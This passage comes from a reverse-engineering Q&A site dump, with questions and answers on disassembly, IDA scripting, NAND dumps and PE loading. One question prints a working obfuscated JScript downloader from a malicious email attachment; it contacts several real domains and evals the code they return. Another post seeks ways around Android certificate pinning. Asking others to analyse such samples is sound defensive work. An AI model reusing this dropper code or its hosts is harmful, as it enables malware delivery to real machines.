[0x100003000:8]=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;r13 and r14 contain strings on the heap, and r15 contains a pointer to a buffer of size 4. I tried to write equivalent code in C, where second_string is r13, return_string is r14, value_holder is r15, and atoi_res is r12(d).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int ebx = 0;&#xA;&#xA;atoi_res = 4;&#xA;&#xA;while(1){&#xA;    ((int *)second_string)[ebx] ^= 0xf799b659;&#xA;    *value_holder = ((int *)second_string)[ebx];&#xA;    ((int *)return_string)[ebx] = ((int *)second_string)[ebx];&#xA;&#xA;    ebx = atoi_res;&#xA;    if(strlen(second_string) &amp;gt; 8) break;&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not seem right to me: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is no way to break out of the loop&lt;/li&gt;&#xA;&lt;li&gt;In the disas(I fixed this in the pseudocode) we are dereferencing a constant value of 8, then &lt;code&gt;lea&lt;/code&gt;ing it again. Wouldn't this segfault?&lt;/li&gt;&#xA;&lt;li&gt;second_string is being XORed by this constant 4 bytes at a time, but the value that is supposedly contained (loaded in another part of the program) returns gibberish when XORed by this.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can post more of the disassembly if needed. Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="20390" LastActivityDate="2017-06-01T20:00:17.893" Title="Need help reversing this loop" Tags="|disassembly|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15454" PostTypeId="1" CreationDate="2017-05-31T16:17:46.293" Score="2" ViewCount="1693" Body="&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt;&#xA;I have an array of structs, I'd like to iterate over it and change fields content, (name, values), upon simple conditions.&#xA;I can get the offset of the members, but I can't modify them due to the aforementioned error.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have a the following structure in IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOAD:86B70B00 22 F6 DC 86 24 F6 DC+stru_86B70B00   Commands_Array &amp;lt;asc_86DCF622, aQueryOrSetAnSR,          2, \&#xA;LOAD:86B70B00 86 02 00 00 00 89 F6+                                        ; DATA XREF: sub_85C73BBC+42o&#xA;LOAD:86B70B00 D2 85 DF F6 D2 85 00+                                        ; LOAD:off_85C73D78o&#xA;LOAD:86B70B00 00 00 00 00 00 00 00+                                           sub_85D2F688+1, sub_85D2F6DE+1&amp;gt;; 0 ; &quot;S&quot; ...&#xA;LOAD:86B70B00 3F F6 DC 86 45 F6 DC+                Commands_Array &amp;lt;0, 0, 0x86DCF63F, Byte_Nothing, sub_0+2&amp;gt;; 1&#xA;LOAD:86B70B00 86 02 00 00 00 00 00+                Commands_Array &amp;lt;0, 0,          0, sub_0, asc_86DCF646&amp;gt;; 2&#xA;LOAD:86B70B00 00 00 00 00 00 00 00+                Commands_Array &amp;lt;aDial, sub_0+3, 0x85CAECA9, sub_85CAECAC+1,\&#xA;LOAD:86B70B00 00 00 00 00 00 00 00+                                           a_end__2&amp;gt;; 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to iterate over it and change the name of each of its members&#xA;by examining each member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting the offset to the structure member was sort of easy, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id = GetStrucIdbyName(struct_name)&#xA;print &quot;0x%08x&quot; % (((base + (struct_size * indx)) + GetMemberOffset(id, &quot;Func&quot;)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however, whenever I try to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MakeName(offset, new_name)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;can't rename byte as 'Func' because this byte can't have a name (it is&#xA;  a tail byte).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I guess I'm doing something wrong here, but I can't seem to find the &quot;right&quot; &#xA;way to access IDA structures and handle them properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help would be appreciated and compensated by points, beer and RE-SE fame.&lt;/p&gt;&#xA;" OwnerUserId="2298" LastActivityDate="2017-07-05T18:51:53.493" Title="IDAPython: Change struct member content name" Tags="|idapython|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15455" PostTypeId="2" ParentId="15453" CreationDate="2017-05-31T16:31:54.247" Score="1" Body="&lt;p&gt;This is just taking a cstring pointed to by r13, xoring a dword at a time with the value 0xf799b659 and storing in the memory pointed to by r14. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your confusion is in what the &lt;code&gt;lea&lt;/code&gt; instruction does. It simply loads the address of the memory instead of the memory value itself. In this case, it is just being used as a fast add operation. Compilers will often use it for simple addition or multiplication which is faster than an add/mul/etc instruction. In the case of &lt;code&gt;lea r12, [rbx + 4]&lt;/code&gt;, this is doing just r12 = rbx + 4; there is no memory access at all. &lt;code&gt;rbx&lt;/code&gt; is being used as a current byte index into the strings and &lt;code&gt;r12&lt;/code&gt; is being used as the next byte index.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2017-05-31T16:31:54.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15457" PostTypeId="1" AcceptedAnswerId="15556" CreationDate="2017-05-31T17:04:14.867" Score="2" ViewCount="1778" Body="&lt;p&gt;I have a large c++ program and I have found a pointer to an object of interest. I want to be able to identidy that object by atleast the constructor. What are some methods I can use to identify the constructor when the object's constructor is &quot;nowhere in sight&quot;, i.e., it's far back in the program flow?&lt;/p&gt;&#xA;" OwnerUserId="20392" LastActivityDate="2017-11-14T18:17:18.393" Title="Identifying structures in C++" Tags="|disassembly|c++|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15459" PostTypeId="1" CreationDate="2017-05-31T23:06:08.437" Score="7" ViewCount="489" Body="&lt;p&gt;I'm trying to rescue some data from our hardware. On the board I have a pair of Samsung k9f4g08u0d NAND chips. Each chip has been dumped to include every block, including the spare areas. If I invert every byte on the dumps and interleave both chips (such that the output is &lt;code&gt;chipA[0],chipB[0],chipA[1],chipB[1] ...&lt;/code&gt; etc) I can see that there is ascii text throughout the dump. Based on the data sheets for 1 chip I know the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blocks: 4096 per device&lt;/li&gt;&#xA;&lt;li&gt;Pages: 64 per block&lt;/li&gt;&#xA;&lt;li&gt;Page Size: (2K data + 64 spare) = 2112 bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But because the chips are interleaved together there are actually (4K data + 128 spare) = 4224 bytes of data per page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The spare area is Adjacent, rather than separate, so each section of 512 bytes of data in a page is immediately followed by 16 bytes of spare data (or out-of-band: OOB).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Adjacent layout:&#xA;+-----+----+-----+----+-----+----+-----+----+-----+----+-----+----+-----+----+-----+----+&#xA;| 512 | 16 | 512 | 16 | 512 | 16 | 512 | 16 | 512 | 16 | 512 | 16 | 512 | 16 | 512 | 16 |&#xA;+--^--+-+--+--^--+-+--+--^--+-+--+--^--+-+--+--^--+-+--+--^--+-+--+--^--+-+--+--^--+-+--+&#xA;   |    |     |    |     |    |     |    |     |    |     |    |     |    |     |    |&#xA;   +----+     +----+     +----+     +----+     +----+     +----+     +----+     +----+&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Separate layout:&#xA;+-----+-----+-----+-----+-----+-----+-----+-----+----+----+----+----+----+----+----+----+&#xA;| 512 | 512 | 512 | 512 | 512 | 512 | 512 | 512 | 16 | 16 | 16 | 16 | 16 | 16 | 16 | 16 |&#xA;+--^--+--^--+--^--+--^--+--^--+--^--+--^--+--^--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+&#xA;   |     |     |     |     |     |     |     |    |    |    |    |    |    |    |    |&#xA;   +----------------------------------------------+    |    |    |    |    |    |    |&#xA;         |     |     |     |     |     |     |         |    |    |    |    |    |    |&#xA;         +---------------------------------------------+    |    |    |    |    |    |&#xA;               |     |     |     |     |     |              |    |    |    |    |    |&#xA;               +--------------------------------------------+    |    |    |    |    |&#xA;                     |     |     |     |     |                   |    |    |    |    |&#xA;                     +-------------------------------------------+    |    |    |    |&#xA;                           |     |     |     |                        |    |    |    |&#xA;                           +------------------------------------------+    |    |    |&#xA;                                 |     |     |                             |    |    |&#xA;                                 +-----------------------------------------+    |    |&#xA;                                       |     |                                  |    |&#xA;                                       +----------------------------------------+    |&#xA;                                             |                                       |&#xA;                                             +---------------------------------------+&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When only analyzing the spare area, I can see the first 3 bytes seem to increment. I think the first two bytes are the block number and I believe the 3rd byte is the page number. After the &quot;page number&quot; value is &lt;code&gt;0x3F&lt;/code&gt; it resets to &lt;code&gt;0x00&lt;/code&gt; and the &quot;block number&quot; increments. I know nothing about what the remaining 13 bytes are but I assume some, if not all, are ECC bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is there are some blocks that appear multiple times in the dump. For example, there are three sections with &quot;block number&quot; of &lt;code&gt;0x2C47&lt;/code&gt; and I know this is probably because of wear leveling with NAND; however, I don't know how to read the pages/blocks that are good so I can mount/extract it. It seems to follow no standard, and believe me - I have searched a lot haha. The system was running QNX6.&lt;/p&gt;&#xA;" OwnerUserId="20394" LastActivityDate="2017-09-21T13:01:45.930" Title="How can I determine if NAND blocks are good blocks?" Tags="|memory|hardware|dumping|flash|qnx|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15460" PostTypeId="1" CreationDate="2017-06-01T05:05:50.220" Score="1" ViewCount="6812" Body="&lt;p&gt;I am trying to get radare2 to &quot;run&quot; on my windows7 64-bit system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the radare2-1.5.0.zip file from &lt;a href=&quot;http://radare.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://radare.org&lt;/a&gt;, but when I unzip it and try to run any of the tools, I simply get&#xA;&quot;there is a problem with this program and it must be closed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possibly because these were compiled for x86 not x64 operating system?&lt;/p&gt;&#xA;" OwnerUserId="8742" LastEditorUserId="18698" LastEditDate="2017-12-16T16:47:52.930" LastActivityDate="2018-03-02T09:45:28.540" Title="reversing on windows x86_64 with radare2" Tags="|disassembly|radare2|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15464" PostTypeId="1" CreationDate="2017-06-01T23:55:28.623" Score="2" ViewCount="173" Body="&lt;p&gt;On my OWN rooted phone, I have had xposed installed, justtrustme unpinning application, and tcpdump in an attempt to capture the traffic of specific applications that are on the phone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specific application I am trying to decipher is using some advanced certificate pinning. I don't care about anything other than what are the requests that it sends to the API servers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried frida.re but there are just so many function calls to figure out which one is the one I am interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="20406" LastActivityDate="2017-06-01T23:55:28.623" Title="Need help intercepting android application network traffic" Tags="|android|" AnswerCount="0" CommentCount="0" ClosedDate="2017-06-06T19:29:14.507" ContentLicense="CC BY-SA 3.0" />
  <row Id="15467" PostTypeId="1" CreationDate="2017-06-02T17:52:35.523" Score="1" ViewCount="170" Body="&lt;p&gt;Got this interesting bit of code compressed in an email named &lt;em&gt;&quot;Install-MSOffice365-WebView-Plugin-Update-0.165.11a.exe.js&quot;&lt;/em&gt; that is undoubtedly malicous, but was curious what it does and am not much of a Javascript coder.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function abatae(beeraa) {beeraa.send();}&#xA;function greezno() {return 'COUNQWTER'.replace(/QW/g,&quot;&quot;);}&#xA;function hust(rasp){eval(rasp);}&#xA;var x = [&quot;gunbobinaj.com&quot;,&quot;www.apbfoundation.com&quot;,&quot;blog.enertres.com&quot;,&quot;kimyaalemi.com&quot;,&quot;alto-krvavica.hr&quot;];&#xA;var mink = 0;&#xA;var mumik = new Array('GE'+'T');&#xA;var mustafa = x.length;&#xA;while(true)&#xA;{&#xA;    if(mink&amp;gt;=mustafa)&#xA;    {&#xA;        break;&#xA;    }&#xA;    try&#xA;    {       &#xA;        var lumin = new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;);&#xA;        var zemk = '00000012Qi9ag1Lxi5WL5GYeqMUKg4dxY3wxqiSvY5p7zea6RhRlNYyPH5MZDQTqCM-SWpbTQcFystPcok-Ndq9EPbeFOaoUCWQf9OpN1waFD0-V9ZIty6Lgyw_hRmV0Cj0dW7c1yX1IRnw0';&#xA;        var ghyt = false;&#xA;        var gerlk = x[mink];        &#xA;        lumin.open(mumik[2-2], &quot;http://&quot;+gerlk+'/'+greezno()+'?'+zemk, ghyt);&#xA;        abatae(lumin);&#xA;        var gt = lumin.responseText;&#xA;        var miffka = gt.indexOf(zemk);&#xA;        var pista = gt.length;&#xA;        var miluoki = &quot;a&quot;;&#xA;        if ((pista+0) &amp;gt; (8+1+1) * 100 &amp;amp;&amp;amp; 2 == 2 &amp;amp;&amp;amp; miffka + 2 &amp;gt; 1) &#xA;        {&#xA;            var kichman = rizma(gt, zemk).join(miluoki+&quot;&quot;);&#xA;            hust(kichman);&#xA;            break;&#xA;        }&#xA;    }&#xA;    catch(e)&#xA;    {&#xA;    };&#xA;    mink++;&#xA;};&#xA;function malysh() {return &quot;htRESMtp&quot;.replace(/RESM/g,&quot;&quot;);}&#xA;function rizma(kjg, lki) {  return kjg.split(lki);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20416" LastEditorUserId="1413" LastEditDate="2017-06-02T17:59:22.033" LastActivityDate="2017-06-02T19:39:02.850" Title="Likely malicous Javascript-interested in how it works" Tags="|malware|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15469" PostTypeId="2" ParentId="15467" CreationDate="2017-06-02T19:39:02.850" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms759148(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/ms759148(v=vs.85).aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The following Microsoft® JScript® example creates an XMLHTTP object and asks a server for an XML document. The server sends back an XML document, which is then displayed in a message box.&#xA;var xmlHttpReq = new ActiveXObject(&quot;MSXML2.XMLHTTP.6.0&quot;);  &#xA;xmlHttpReq.open(&quot;GET&quot;, &quot;http://localhost/books.xml&quot;, false);  &#xA;xmlHttpReq.send();  &#xA;WScript.Echo(xmlHttpReq.responseText);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the example shows this sends a request &lt;/p&gt;&#xA;&#xA;&lt;p&gt;@ lumin.open () combining x[0]+gerlk+greezno()+zemk &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which will evaluate to &lt;a href=&quot;http://gumboxxxxx/counter?0000yyyyyyyyyyyyyy&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gumboxxxxx/counter?0000yyyyyyyyyyyyyy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gets an xml response and parses it &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-06-02T19:39:02.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15472" PostTypeId="1" AcceptedAnswerId="15498" CreationDate="2017-06-03T08:45:53.887" Score="6" ViewCount="1130" Body="&lt;p&gt;I do malware analysis on Windows. I run hundreds of Windows PEs per day and it is actually relatively common for a file to not run (or sometimes not run on just one specific version of Windows) and I get an error message such as &quot;This is not a valid Win32 application.&quot; However, when I open the file in a hex editor, it does have the MZ, PE signature, and even the sections intact. Also, programs such as PE Explorer can open the file fine and claim that it's a valid PE file, without even having to open it in &quot;safemode&quot; for example. &lt;em&gt;Note that I am NOT talking about error messages concerning 64 bit on a 32 bit version of Windows, as that is self-explanatory.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a screenshot of one such file. This file, however, has no DOS stub at all and the DOS header data structures are all set to 0 except for e_lfanew which does point to a PE sig. However, the Windows loader says it's not a valid Win32 app at least on my version of Win7 64bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lSk8A.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lSk8A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do know that the loader essentially reads the data structures and from that, it does things such as allocate stack and heap memory, determine which symbols are needed and from which DLL files, as well as a few other tasks. So my assumption based off of that would be that if for example, one of these header data structures told the loader to do something that made no sense such as allocate negative space, too much space, or contained nonsense in a structure that was critical for the loader to work, it could crash it. However, this is just speculation on my part.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-06-19T17:47:06.313" Title="What PE anomalies can crash the Windows Loader or cause a file to not load?" Tags="|windows|malware|pe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15473" PostTypeId="1" CreationDate="2017-06-03T09:26:31.530" Score="2" ViewCount="13251" Body="&lt;p&gt;I am trying to reverse an ELF (C++) binary using IDA v6.95. Decompiler complains that the call analysis is failing. I am attaching the &lt;a href=&quot;https://www.mediafire.com/?16nrnhnuxo7gz4l&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDB database&lt;/a&gt;. What can I do to fix the IDB?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2022-06-23T01:10:24.833" Title="Why is IDA call analysis failing?" Tags="|ida|decompiler|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15475" PostTypeId="2" ParentId="13106" CreationDate="2017-06-03T19:31:19.240" Score="1" Body="&lt;p&gt;I did it in the following way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 go to the window &quot;resources&quot;&#xA;2 choose the button corresponding to the application&#xA;3 right click and message breakpoint&#xA;4 choose &quot;WM_LBUTTONUP&quot;&lt;/p&gt;&#xA;" OwnerUserId="20424" LastActivityDate="2017-06-03T19:31:19.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15476" PostTypeId="1" AcceptedAnswerId="15477" CreationDate="2017-06-04T00:28:12.437" Score="0" ViewCount="739" Body="&lt;p&gt;One of the threads I have discovered in my reading about learning how to reverse engineer is to write &quot;small&quot; c programs compile them and then disassemble them to see how the c code gets translated into assembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on windows 7 64-bit, and have had problems getting visual studio installed. When I select one of the visual studio command prompts the environment never gets set correctly so the compilers are not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is:&#xA;Should I install mingw, mingw-w64, or cygwin to provide the best environment for this kind of testing/learning?&lt;/p&gt;&#xA;" OwnerUserId="8742" LastActivityDate="2017-06-07T18:51:34.910" Title="best c compiler on windows for reversing" Tags="|compilers|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15477" PostTypeId="2" ParentId="15476" CreationDate="2017-06-04T02:34:41.870" Score="2" Body="&lt;p&gt;This is a question which leads to a very subjective answer. I would (and have) install MinGW and then use gcc to compile your C code. You don't even need all the Visual Studio bloatware stuff for what you want to accomplish. It'll be as simple as opening your favorite text editor, writing a C program (yes, you can still #include  and use the Win32 API just fine), and running gcc at the command prompt. You can even force a 32 bit binary with &lt;code&gt;-m32&lt;/code&gt;, turn off stack canaries with &lt;code&gt;-fno-stack-protector&lt;/code&gt;, and etc... If you desire, to practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also want to be using gdb galore. gdb also comes with MinGW so you're covered there as well. This method will be incredibly straightforward and easy. Text editor -&gt; save, gcc, run, gdb, repeat. All can be done from the command prompt. This is as easy as you can get on either Linux or Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, there is a tendency to believe that you must either use Visual Studio on Windows or switch to Linux. This simply isn't the case and for what you are trying to accomplish, both could be overkill and both will definitely take some time, especially if you've never used either. However, if you &lt;em&gt;are interested in working with or learning a Linux environment, and have no problem setting up a virtual machine&lt;/em&gt;, you &lt;em&gt;could&lt;/em&gt; install Linux on a VM and then you will already have all the tools you need installed. Linux and C do go hand-in-hand and many programmers prefer Linux for this reason amongst others.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-06-04T02:34:41.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15478" PostTypeId="1" CreationDate="2017-06-04T12:08:12.613" Score="1" ViewCount="2040" Body="&lt;p&gt;I'm new with reverse engineering and especially with Ollydbg, I have little experience with IDA and currently trying to get used to Olly. My questions are:&lt;br&gt; 1.Is there any window which would show function list like in IDA? To be more spesific here is what I'm talking &lt;a href=&quot;https://i.stack.imgur.com/UZhnS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;about&lt;/a&gt;. How to bring such window in Olly?&lt;br&gt;&#xA;2. During investigation if I jump into some function(static analysis) how to get back? I mean is there anything that has same functionality as &#xA;&lt;a href=&quot;https://i.stack.imgur.com/2HTQG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;these&lt;/a&gt; keys do?&lt;br&gt;&#xA;Sorry if questions sound silly I'm new with this stuff. thanks :)&lt;/p&gt;&#xA;" OwnerUserId="20428" LastActivityDate="2017-06-04T16:32:54.853" Title="Ollydbg: Function name list like in IDA" Tags="|ida|windows|ollydbg|debugging|executable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15479" PostTypeId="1" AcceptedAnswerId="15481" CreationDate="2017-06-04T14:16:47.257" Score="2" ViewCount="140" Body="&lt;p&gt;While trying to understand a behavior of TestNG I found my self disassembling the .class files. During that, I accidentally noticed that the official binary differs from the one built manually from source and from the source itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I disassembled the binaries was just to prove that the binary really lacks local variable tables (and for fun), since I was unable inspecting local variables.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Project: &lt;a href=&quot;https://github.com/cbeust/testng.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/cbeust/testng.git&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Artifact Version / Tag: 6.11&lt;/li&gt;&#xA;&lt;li&gt;Source File: &lt;a href=&quot;https://github.com/cbeust/testng/blob/6.11/src/main/java/org/testng/TestNG.java&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TestNG.java&lt;/code&gt;&lt;/a&gt; (Official Repository)&lt;/li&gt;&#xA;&lt;li&gt;Class File: &lt;a href=&quot;https://repo.maven.apache.org/maven2/org/testng/testng/6.11/testng-6.11.jar&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TestNG.class&lt;/code&gt; in testng-6.11.jar&lt;/a&gt; (repo.maven.apache.org)&lt;/li&gt;&#xA;&lt;li&gt;Used JDK: OpenJDK 1.8.0 131&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I built the source from the project repository at Tag 6.11. using Gradle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first place I inspected both using &lt;code&gt;javap -l -p TestNG.class&lt;/code&gt;, writing the output into two separate files and diffing the resulting descriptions. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, for fun, I disassembled both class files using these commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;javap -c -p /tmp/TestNG.mvn.class &amp;gt; /tmp/TestNG.mvn.java&#xA;javap -c -p /tmp/TestNG.mine.class &amp;gt; /tmp/TestNG.mine.java&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I diffed both and accidently found the private field &lt;code&gt;m_executionListeners&lt;/code&gt; to be missing. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--- /tmp/TestNG.mvn.java      2017-06-03 23:12:16.005211337 +0200&#xA;+++ /tmp/TestNG.mine.java     2017-06-03 23:12:08.245208191 +0200&#xA;@@ -92,6 +92,8 @@&#xA;&#xA;   protected long m_start;&#xA;&#xA;+  private final java.util.Map&amp;lt;java.lang.Class&amp;lt;? extends org.testng.IExecutionListener&amp;gt;, org.testng.IExecutionListener&amp;gt; m_executionListeners;&#xA;+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(No, its declaration did not just move around, it's gone.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I thought it could be some kind of compiler optimization. But it is actually referenced and accessed two times. This is one access:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public void addListener(ITestNGListener listener) {&#xA;   if (listener == null) {&#xA;     return;&#xA;   }&#xA;   if (listener instanceof ISuiteListener) {&#xA;     ISuiteListener suite = (ISuiteListener) listener;&#xA;     maybeAddListener(m_suiteListeners, suite.getClass(),  suite);&#xA;   }&#xA;   // ...&#xA;   if (listener instanceof IExecutionListener) {&#xA;     IExecutionListener execution = (IExecutionListener) listener;&#xA;     maybeAddListener(m_executionListeners, execution.getClass(), execution);&#xA;   }&#xA;   // ...&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cbeust/testng/blob/6.11/src/main/java/org/testng/TestNG.java#L723&quot; rel=&quot;nofollow noreferrer&quot;&gt;See the source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other fields that run through the &lt;code&gt;instanceof&lt;/code&gt; check, type cast and &lt;code&gt;maybeAddListener()&lt;/code&gt; call are still present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right, with my conclusion, that the binary has not been built from the (supposed-to-be) related source? Or what it going on here?&lt;/p&gt;&#xA;" OwnerUserId="14462" LastEditorUserId="14462" LastEditDate="2017-06-04T14:23:20.237" LastActivityDate="2017-06-05T03:23:44.390" Title="Disassembled Java class file differs from Source" Tags="|java|bin-diffing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15480" PostTypeId="2" ParentId="15478" CreationDate="2017-06-04T16:32:54.853" Score="3" Body="&lt;p&gt;1 Ctrl +n  or right click view names / view intermodular calls &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2  ctrl+ or ctrl - to jump back and forth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or open shortcut editor in ollydbg v2 and set your favorite shortcut for navigation&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-06-04T16:32:54.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15481" PostTypeId="2" ParentId="15479" CreationDate="2017-06-05T03:23:44.390" Score="4" Body="&lt;p&gt;You are correct that the binary does not match the tagged source. It does, however, match the changes made in commit &lt;a href=&quot;https://github.com/cbeust/testng/commit/6cfc6b4a403f8487d9fa96aa3d42db7848c8755a&quot; rel=&quot;noreferrer&quot;&gt;6cfc6b4a403f8487d9fa96aa3d42db7848c8755a&lt;/a&gt;, which was made on February 25, one day after the most recent commit tagged 6.11 and before the most recent merge commit in 6.11. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only speculate, but it seems likely that their local version of 6.11 includes an extra commit or two that they accidentally left out of the tag on Github.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2017-06-05T03:23:44.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15482" PostTypeId="2" ParentId="15473" CreationDate="2017-06-05T07:18:45.490" Score="2" Body="&lt;p&gt;&lt;code&gt;Call analysis failed at: 08048B19&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instruction at that location:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call __ZNSaIcEC1Ev ; std::allocator&amp;lt;char&amp;gt;::allocator(void)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now decompile this function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __stdcall std::allocator&amp;lt;char&amp;gt;::allocator(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8) {&#xA;    return std::allocator&amp;lt;char&amp;gt;::allocator(a1, a2, a3, a4, a5, a6, a7, a8);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that hexrays has the function signature wrong, it expects too many arguments. After changing it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __stdcall std__allocator_char___allocator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main functon 